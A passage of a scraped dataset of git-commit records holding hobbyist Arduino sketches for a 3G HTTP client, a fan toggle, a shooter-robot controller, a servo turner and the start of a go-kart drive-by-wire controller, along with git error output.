pin_number);\n sendATcommand(aux_str, \"OK\", 2000);\n\n delay(3000);\n\n while( (sendATcommand(\"AT+CREG?\", \"+CREG: 0,1\", 500) ||\n sendATcommand(\"AT+CREG?\", \"+CREG: 0,5\", 500)) == 0 );\n\n \/\/ sets APN, user name and password\n sprintf(aux_str, \"AT+CGSOCKCONT=1,\\\"IP\\\",\\\"%s\\\"\", apn);\n sendATcommand(aux_str, \"OK\", 2000);\n\n sprintf(aux_str, \"AT+CSOCKAUTH=1,1,\\\"%s\\\",\\\"%s\\\"\", user_name, password);\n sendATcommand(aux_str, \"OK\", 2000);\n}\n\nvoid loop(){\n\n \/\/ request the url\n \n previous = millis();\n sprintf(aux_str, \"AT+CHTTPACT=\\\"%s\\\",%d\", url, port);\n answer = sendATcommand(aux_str, \"+CHTTPACT: REQUEST\", 60000);\n\n \/\/ Sends the request\n Serial.println(request);\n \/\/ Sends <Ctrl+Z>\n Serial.write(0x1A);\n http_status = 1;\n\n while ((http_status == 1) || (http_status == 2))\n {\n answer = sendATcommand(\"\", \"+CHTTPACT: \", 60000);\n if (answer == 0)\n {\n if (http_status == 1)\n {\n http_status = 3;\n }\n if (http_status == 2)\n {\n http_status = 5;\n }\n }\n else\n {\n \/\/ answer == 1\n while(Serial.available()==0);\n aux_str[0] = Serial.read();\n \n if ((aux_str[0] == 'D') && (http_status == 1))\n {\n \/\/ Data packet with header\n while(Serial.available()<4);\n Serial.read(); \/\/ A\n Serial.read(); \/\/ T\n Serial.read(); \/\/ A\n Serial.read(); \/\/ ,\n\n \/\/ Reads the packet size\n x=0;\n do{\n while(Serial.available()==0);\n aux_str[x] = Serial.read();\n x++;\n }\n while((aux_str[x-1] != '\\r') && (aux_str[x-1] != '\\n'));\n\n aux_str[x-1] = '\\0';\n data_size = atoi(aux_str);\n\n \/\/ Now, search the end of the HTTP header (\\r\\n\\r\\n)\n do{\n while (Serial.available() < 3);\n\n data_size--;\n if (Serial.read() == '\\r')\n {\n data_size--;\n if (Serial.read() == '\\n')\n {\n data_size--;\n if (Serial.read() == '\\r')\n {\n data_size--;\n if (Serial.read() == '\\n')\n {\n \/\/ End of the header found\n http_status = 2;\n }\n }\n }\t\n }\n }\n while ((http_status == 1) && (data_size > 0));\n\n if (http_status == 2)\n {\n \/\/ Reads the data\n http_x = 0;\n do{\n if(Serial.available() != 0){\n data[http_x] = Serial.read();\n http_x++;\n data_size--;\n }\n else\n {\n delay(1);\n }\n }\n while(data_size > 0);\n data[http_x] = '\\0';\n }\n }\n else if ((aux_str[0] == 'D') && (http_status == 2))\n {\n \/\/ Data packet with header\n while(Serial.available()<4);\n Serial.read(); \/\/ A\n Serial.read(); \/\/ T\n Serial.read(); \/\/ A\n Serial.read(); \/\/ ,\n\n \/\/ Reads the packet size\n x=0;\n do{\n while(Serial.available()==0);\n aux_str[x] = Serial.read();\n x++;\n }\n while((aux_str[x-1] != '\\r') && (aux_str[x-1] != '\\n'));\n\n aux_str[x-1] = '\\0';\n data_size = atoi(aux_str);\n\n do{\n if(Serial.available() != 0){\n data[http_x] = Serial.read();\n http_x++;\n }\n else\n {\n delay(1);\n }\n }\n while(data_size > 0);\n data[http_x] = '\\0';\n\n }\n else if (aux_str[0] == '0')\n {\n \/\/ end of the AT command\n http_status = 0;\n }\n else\n {\n \/\/ unknow response\n http_status = 4;\n Serial.print(char(aux_str[0]));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n Serial.print(char(Serial.read()));\n }\t\t\t\n }\t\t\n }\n\n previous = millis() - previous;\n \n Serial.println(previous, DEC);\n if (http_status == 0)\n {\n Serial.print(F(\"HTTP data: \"));\n Serial.println(data);\n }\n else\n {\n Serial.print(F(\"http_status: \"));\n Serial.println(http_status, DEC);\n }\n\n\n\n delay(10000);\n\n}\n\nvoid power_on(){\n\n uint8_t answer=0;\n\n \/\/ checks if the module is started\n answer = sendATcommand(\"AT\", \"OK\", 2000);\n if (answer == 0)\n {\n \/\/ power on pulse\n digitalWrite(onModulePin,HIGH);\n delay(3000);\n digitalWrite(onModulePin,LOW);\n\n \/\/ waits for an answer from the module\n while(answer == 0){\n \/\/ Send AT every two seconds and wait for the answer\n answer = sendATcommand(\"AT\", \"OK\", 2000);\n }\n }\n\n}\n\n\nint8_t sendATcommand(char* ATcommand, char* expected_answer1, unsigned int timeout) {\n\n uint8_t x = 0, answer = 0;\n char response[100];\n unsigned long previous;\n\n memset(response, '\\0', 100); \/\/ Initialize the string\n\n delay(100);\n\n while ( Serial.available() > 0) Serial.read(); \/\/ Clean the input buffer\n\n Serial.println(ATcommand); \/\/ Send the AT command\n\n\n x = 0;\n previous = millis();\n\n \/\/ this loop waits for the answer\n do {\n \/\/ if there are data in the UART input buffer, reads it and checks for the asnwer\n if (Serial.available() != 0) {\n response[x] = Serial.read();\n x++;\n \/\/ check if the desired answer is in the response of the module\n if (strstr(response, expected_answer1) != NULL)\n {\n answer = 1;\n }\n }\n \/\/ Waits for the asnwer with time out\n }\n while ((answer == 0) && ((millis() - previous) < timeout));\n\n return answer;\n}\n\nint8_t sendATcommand2(char* ATcommand, char* expected_answer1, char* expected_answer2, unsigned int timeout)\n{\n\n uint8_t x=0, answer=0;\n char response[100];\n unsigned long previous;\n\n memset(response, '\\0', 100); \/\/ Initialize the string\n\n delay(100);\n\n \/\/ while( Serial.available() > 0) Serial.read(); \/\/ Clean the input buffer\n\n Serial.println(ATcommand); \/\/ Send the AT command\n\n\n x = 0;\n previous = millis();\n\n \/\/ this loop waits for the answer\n do{\n\n if(Serial.available() != 0){\n response[x] = Serial.read();\n x++;\n \/\/ check if the desired answer is in the response of the module\n if (strstr(response, expected_answer1) != NULL)\n {\n answer = 1;\n }\n \/\/ check if the desired answer is in the response of the module\n if (strstr(response, expected_answer2) != NULL)\n {\n answer = 2;\n }\n }\n \/\/ Waits for the asnwer with time out\n }\n while((answer == 0) && ((millis() - previous) < timeout));\n\n return answer;\n} \n\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/Arduino_Code\/test_3g_final\/test_3g.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc6383b14ba82971a2ddd650b2e0c70aef3349f3","subject":"fan-example.ino: Turn on\/off ANAVI Fume Extractor","message":"fan-example.ino: Turn on\/off ANAVI Fume Extractor\n\nSimple example to turn on\/off the 80mm fan of ANAVI Fume Extractor\nby pressing the fan switch button.\n\nSigned-off-by: Leon Anavi <be92910ae7bb6f58bb9b7c6f845bc30640119592@anavi.org>\n","repos":"AnaviTech\/anavi-examples,AnaviTech\/anavi-examples","old_file":"anavi-fume-extractor\/fan-example\/fan-example.ino","new_file":"anavi-fume-extractor\/fan-example\/fan-example.ino","new_contents":"#include <FS.h> \/\/this needs to be first, or it all crashes and burns...\n\n#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n\n#define PIN_FAN 12\n#define PIN_FAN_BUTTON 13\n\nbool fanOn = false;\n\nvoid setup()\n{\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n Serial.println();\n\n delay(10);\n\n pinMode(PIN_FAN, OUTPUT);\n pinMode(PIN_FAN_BUTTON, INPUT);\n \n Serial.println(\"ANAVI Fume Extractor\");\n Serial.println(\"--------------------\");\n Serial.println(\"Fan Example\");\n Serial.println(\"--------------------\");\n \n delay(1000);\n digitalWrite(PIN_FAN, LOW);\n fanOn = false;\n}\n\nvoid loop()\n{\n if (LOW == digitalRead(PIN_FAN_BUTTON))\n {\n Serial.print(\"Fan: \");\n if (false == fanOn)\n {\n digitalWrite(PIN_FAN, HIGH);\n fanOn = true;\n Serial.println(\"ON\");\n }\n else\n {\n digitalWrite(PIN_FAN, LOW);\n fanOn = false;\n Serial.println(\"OFF\");\n }\n \/\/ Give the fan 3 seconds between swithing it again\n delay(3000);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'anavi-fume-extractor\/fan-example\/fan-example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c87e8645d7ff72ee4e71de1209a57d8abf06b4f0","subject":"Adding new version","message":"Adding new version\n\nI've made some changes, see the documentation in the file. From now on,\nany changes I make will be tracked through GitHub on this file. The\nother .ino files can be deleted.\n","repos":"edunham\/engr421","old_file":"embedded\/Crossfire_Program\/Crossfire_Program.ino","new_file":"embedded\/Crossfire_Program\/Crossfire_Program.ino","new_contents":"\/\/ENGR 421 Team 4\n\/\/2013\n\n\/\/Written by Dean Reading\n\n\n\n\/*******************************************************************************************\/\n\/\/ Changelog\n\/*******************************************************************************************\n * Version control can now be handled by GitHub...\n *\n * Version 0.2\n * Included a timeout when waiting for a character.\n * Added the sendMessage function to communicate with laptop.\n * Added in error messages for invalid command IDs, shooter numbers and angles.\n * Added in lower and upper limits to the angles that can be used. \n * \n * \n * Version 0.1\n * Includes command receiving and execution, with 'Aim' and 'Shoot' commands.\n * <angle> input is a byte that should range from 0 to 180, with 90 being pointing forward.\n * All DC motor pins are set up and PWM is created.\n * setShooterAngle, releaseBall and checkSolenoids functions are included.\n * 'GO' & 0x80 is sent to indicate game start.\n *\n * \n *\/\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Pre-Start\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\n\n\n\/\/ Pins\n\/*******************************************************************************************\/\n#define pinMotor1 5\n#define pinMotor2 2\n#define pinMotor3 3\n\n#define pinServo1 46\n#define pinServo2 45\n#define pinServo3 44\n\n#define pinSolenoid1 4\n#define pinSolenoid2 6\n#define pinSolenoid3 7\n\n\n\/\/ Parameters\n\/*******************************************************************************************\/\n#define DEBUG \/\/Defining DEBUG turns ON debugging messages\n\n#define commsTimeout 200 \/\/The maximum time that a received serial command can take, in mS\n\n#define ballReleaseTime 100 \/\/The time that the solenoid needs to be activated for to release a ball, in mS\n\n#define motorLevel1 255\n#define motorLevel2 255\n#define motorLevel3 255\n\n#define angleLowest 30 \/\/The minimum allowable angle\n#define angleHighest 150 \/\/The maximum allowable angle\n\n\/\/ Libraries & Objects\n\/*******************************************************************************************\/\n#include <Servo.h>\nServo servo1; \/\/Declare 3 instances of servo objects\nServo servo2;\nServo servo3;\n\n\/\/Function Prototypes\nvoid sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);\n\n\/\/ Constants\n\/*******************************************************************************************\/\nbyte commandLength[255]; \/\/The number of data bytes for each command type for serial comms\nconst byte solenoidPins[] = {\n 0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; \/\/A map for the solenoid pins\nconst byte motorPins[] = {\n 0,pinMotor1,pinMotor2,pinMotor3}; \/\/A map for the solenoid pins\n\n\n\n\/\/ Global Variables\n\/*******************************************************************************************\/\nbyte commandID=0;\nbyte bytesRemaining; \/\/\nchar buffer[5];\nunsigned long timer; \/\/A multi-purpose timer\n\nunsigned long ballReleaseTimer[4]; \/\/Saves when the last ball was released.\nboolean ballReleasing[] = {\n 0,0,0,0}; \/\/Indicates whether we are in the process of releasing a ball\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Setup\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid setup(){\n \/\/ Constants\n \/*******************************************************************************************\/\n commandLength[1]=2;\n commandLength[2]=1;\n\n commandLength[0x80]=0;\n commandLength[0xE0]=1;\n commandLength[0xE1]=1;\n commandLength[0xE2]=2;\n\n \/\/ Pin Modes and Setup\n \/*******************************************************************************************\/\n for (byte i=1;i<4;i++){\n pinMode(motorPins[i],OUTPUT);\n pinMode(solenoidPins[i],OUTPUT);\n\n analogWrite(motorPins[i],255);\n digitalWrite(solenoidPins[i],LOW);\n }\n\n\n\n \/\/ Other Setup Code\n \/*******************************************************************************************\/\n Serial.begin(9600);\n Serial.setTimeout(commsTimeout);\n#ifdef DEBUG\n Serial.println(\"Arduino Start\");\n#endif\n\n\n \/\/Attach the servo objects\n servo1.attach(pinServo1,900,2100); \/\/Include the maximum and minimum pulse widths.\n servo2.attach(pinServo2,900,2100);\n servo3.attach(pinServo3,900,2100);\n\n\n \/\/Wait until 'Game Start' button is pressed\n\n \/\/add here later\n \/\/Send 'Game Start' message to laptop\n sendMessage(0x80);\n\n\n \/\/Set up the PWM DC motor control signals\n analogWrite(pinMotor1,motorLevel1);\n analogWrite(pinMotor2,motorLevel2);\n analogWrite(pinMotor3,motorLevel3);\n\n\n \/\/Prototyping stuff DELETE ME! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n \/\/analogWrite(pinMotor1,0);\n\n \/\/ releaseBall(1);\n\n \/\/ while (true) { \/\/Cycle endlessly\n \/\/ setShooterAngle(1,90);\n \/\/ delay(1000);\n \/\/ setShooterAngle(1,45);\n \/\/ delay(1000);\n \/\/ setShooterAngle(1,135);\n \/\/ delay(1000);\n \/\/ }\n\n}\n\n\n\/*\n\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \/\/ Loop\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n \u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n *\/\nvoid loop(){\n checkSerial(); \/\/Check for incoming commands, and execute them\n\n checkSolenoids(); \/\/Deactivates any solenoids when needed\n\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSerial\n\/*******************************************************************************************\/\nvoid checkSerial(){\n if (Serial.available()) {\n \/\/Search for the initization sequence\n if (Serial.read()=='G'){\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n if (Serial.peek()=='O'){\n Serial.read(); \/\/Remove the 'O' from the serial buffer.\n \/\/Initialization Sequence detected!\n\n#ifdef DEBUG\n Serial.println(\"'G O' found!\");\n#endif\n\n timer=millis()+commsTimeout;\n while (!Serial.available()){ \/\/Wait until another character is available\n if (millis()>timer) { \/\/Exit the loop if we don't receive another character\n break;\n }\n } \n commandID=Serial.read(); \/\/This byte is the command ID\n\n \/\/Now, read the required number of data bytes into the array 'buffer'\n Serial.readBytes(buffer,commandLength[commandID]);\n\n \/\/Execute the command\n executeCommand();\n }\n }\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*executeCommand\n\/*******************************************************************************************\/\n\/\/This function executes whatever the necessary action is, as told by the command and data\n\/\/received through serial comms\nvoid executeCommand(){\n switch (commandID){\n case 1:\n \/\/Aim shooter <db1> to angle defined by <db2>\n setShooterAngle(buffer[0],(byte) buffer[1]);\n break;\n case 2:\n \/\/Release a ball on shooter <db1>\n releaseBall(buffer[0]);\n break;\n default:\n#ifdef DEBUG\n Serial.print(\"Unrecognized command ID: \");\n Serial.println(commandID);\n#endif\n \/\/Send error feedback to laptop\n sendMessage(0xE0,commandID);\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*setShooterAngle\n\/*******************************************************************************************\/\n\/\/This function changes the servo signal for shooter <shooterNum> to the angle defined by \n\/\/ <angle>. <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.\nvoid setShooterAngle(byte shooterNum, byte angle){\n\n \/\/ unsigned int output = (((unsigned int) angle-1)*137)\/29+900; \/\/ 137\/29 = 4.724 = 1200\/254, the scaling factor to get to uS\n\n#ifdef DEBUG\n Serial.print(\"Setting shooter \");\n Serial.print(shooterNum);\n Serial.print(\" to \");\n Serial.println(angle);\n#endif\n\n \/\/Set the servo output. Use a switch statement to use the correct servo object.\n if (angle<angleLowest || angle>angleHighest) {\n \/\/The angle is invalid! Don't move the shooter, and send feedback\n sendMessage(0xE2,shooterNum,angle);\n }\n else{\n switch (shooterNum) {\n case 1:\n servo1.write(angle);\n break;\n case 2:\n servo2.write(angle);\n break;\n case 3:\n servo1.write(angle);\n break;\n default:\n#ifdef DEBUG\n Serial.print(\"Unrecognized shooter Num: \");\n Serial.println(shooterNum);\n#endif\n \/\/Send error feedback to laptop\n sendMessage(0xE1,shooterNum);\n }\n }\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*releaseBall\n\/*******************************************************************************************\/\n\/\/This function releases one BB (hopefully) from shooter <shooterNum>\nvoid releaseBall(byte shooterNum) {\n\n#ifdef DEBUG\n Serial.print(\"Releasing ball from shooter: \");\n Serial.println(shooterNum);\n#endif\n\n digitalWrite(solenoidPins[shooterNum],HIGH); \/\/Activate the solenoid: open the passage\n\n ballReleaseTimer[shooterNum]=millis()+ballReleaseTime; \/\/Set the timer for deactivating the solenoid\n ballReleasing[shooterNum]=1; \/\/Indicate that we are releasing a ball\n}\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*checkSolenoids\n\/*******************************************************************************************\/\n\/\/Check whether there are any solenoids that need to be deactivated\nvoid checkSolenoids(){\n for (byte i=1;i<4;i++){ \/\/Check all 3 solenoids\n if (ballReleasing[i]==1){ \/\/If a ball is currently being released\n if (millis()>ballReleaseTimer[i]){ \/\/If enough time has passed\n digitalWrite(solenoidPins[i],LOW); \/\/Deactivate the solenoid: close the passage\n ballReleasing[i]=0; \/\/Indicate that the ball is no longer being released\n#ifdef DEBUG\n Serial.print(\"Deactivating solenoid: \");\n Serial.println(i);\n#endif\n }\n }\n }\n}\n\n\n\/*\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\u2580\n\/*sendMessage\n\/*******************************************************************************************\/\n\/\/This function sends commands to the laptop. It has optional inputs.\nvoid sendMessage (byte CMD,byte in1, byte in2, byte in3) {\n Serial.print(\"GO\");\n if (commandLength[CMD]>0){\n Serial.print(in1);\n if (commandLength[CMD]>1){\n Serial.print(in2);\n if (commandLength[CMD]>2){\n Serial.print(in3);\n }\n }\n }\n Serial.println(); \/\/Print a new line character\n}\n\n\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/Crossfire_Program\/Crossfire_Program.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e64999609daae7b77e3fb999b1da2e4cd0cd7b6c","subject":"letting servo handle minutia of turning from a start degree to an end degree","message":"letting servo handle minutia of turning from a start degree to an end degree\n","repos":"boscomonkey\/lazy-susan-arduino,boscomonkey\/lazy-susan-arduino","old_file":"direct-servo-turns\/direct-servo-turns.ino","new_file":"direct-servo-turns\/direct-servo-turns.ino","new_contents":"#include <Servo.h>\n\nServo myservo; \/\/ create servo object to control a servo\n \/\/ a maximum of eight servo objects can be created\n\nvoid setup()\n{\n Serial.begin(9600);\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n}\n\nvoid loop()\n{\n rndTurn(70, 90);\n rndDelay();\n\n rndTurn(120, 140);\n rndDelay();\n}\n\nvoid rndDelay()\n{\n int ms = random(3000, 7000);\n\n Serial.print(\"delay:\\t\");\n Serial.println(ms);\n\n delay(ms);\n}\n\nvoid rndTurn(int low, int high)\n{\n int angle = random(low, high);\n\n Serial.print(\"angle:\\t\");\n Serial.println(angle);\n\n myservo.write(angle);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'direct-servo-turns\/direct-servo-turns.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c1c7f77081495272d2abfd6babca293b3c55e929","subject":"fix comments and reduce delay between updates","message":"fix comments and reduce delay between updates\n","repos":"manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain,manashmndl\/bluebrain","old_file":"src\/rfduino\/HardwareTesting\/LEDSegmentsWithMAX72xxTest\/LEDSegmentsWithMAX72xxTest.ino","new_file":"src\/rfduino\/HardwareTesting\/LEDSegmentsWithMAX72xxTest\/LEDSegmentsWithMAX72xxTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/manashmndl\/bluebrain.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"56f8fa253cb6912ed31bf5bbca7072ec593f6219","subject":"Initial FlyByWire commit","message":"Initial FlyByWire commit\n\nCommit the current draft of the FlyByWire code that Soren wrote.\n","repos":"voodoodemon\/TheFlyingMagicCarpet,voodoodemon\/TheFlyingMagicCarpet","old_file":"FlyByWire\/FlyByWire.ino","new_file":"FlyByWire\/FlyByWire.ino","new_contents":"\/\/ Carpet CANTroller II Source Code - For Arduino Mega 2560 with Adafruit 2.8inch Captouch TFT shield.\r\n\r\n\/\/ Libraries to include. Note all these have example code when installed into arduino ide\r\n#include <Servo.h> \/\/ Makes PWM output to control motors (for our gas and steering)\r\n#include <FastPID.h> \/\/ Fixed-point math based PID loop (for our brakes and maybe cruise control)\r\n#include <SPI.h> \/\/ SPI serial bus needed to talk to the LCD and the SD card\r\n#include <Wire.h> \/\/ Contains I2C serial bus, needed to talk to touchscreen chip\r\n#include <Adafruit_ILI9341.h> \/\/ For interfacing with the TFT LCD controller chip\r\n#include <Adafruit_FT6206.h> \/\/ For interfacing with the cap touchscreen controller chip\r\n#include <SdFat.h> \/\/ SD card & FAT filesystem library\r\n#include <Adafruit_GFX.h> \/\/ For drawing pictures & text on the screen\r\n\/\/#include <Adafruit_ImageReader.h> \/\/ We don't really need thihs but can use it to test that SD flash is working\r\n\/\/#include \"TouchScreen.h\" \/\/ Touchscreen library (I don't think we need it? Maybe for resistive TP we're not using)\r\n\r\n\/*\r\n# Here are the different runmodes documented\r\n#\r\n# ** Shutdown Mode **\r\n# - Required: Ignition Off\r\n# - Priority: 1 (Highest)\r\n# This mode is active whenever the ignition is off. In other words, whenever the\r\n# little red pushbutton switch by the joystick is unclicked. This happens before the\r\n# ignition is pressed before driving, but it also may happen if the driver needs to\r\n# panic and E-stop due to loss of control or any other reason. The ignition will get cut\r\n# independent of the controller, but we can help stop the car faster by applying the\r\n# brakes. Once car is stopped, we release all actuators and go to low power mode.\r\n# - Actions: 1. Release throttle. If car is moving AND BasicMode Off, apply brakes to stop car\r\n# - Actions: 2: Deactivate all actuators including steering\r\n#\r\n# ** Basic Mode **\r\n# - Required: BasicMode switch On & Ignition On\r\n# - Priority: 2\r\n# The gas and brake don't do anything in Basic Mode. Just the steering works, so use the pedals.\r\n# This mode is enabled with a toggle switch in the controller box. When in Basic Mode, the only\r\n# other valid mode is 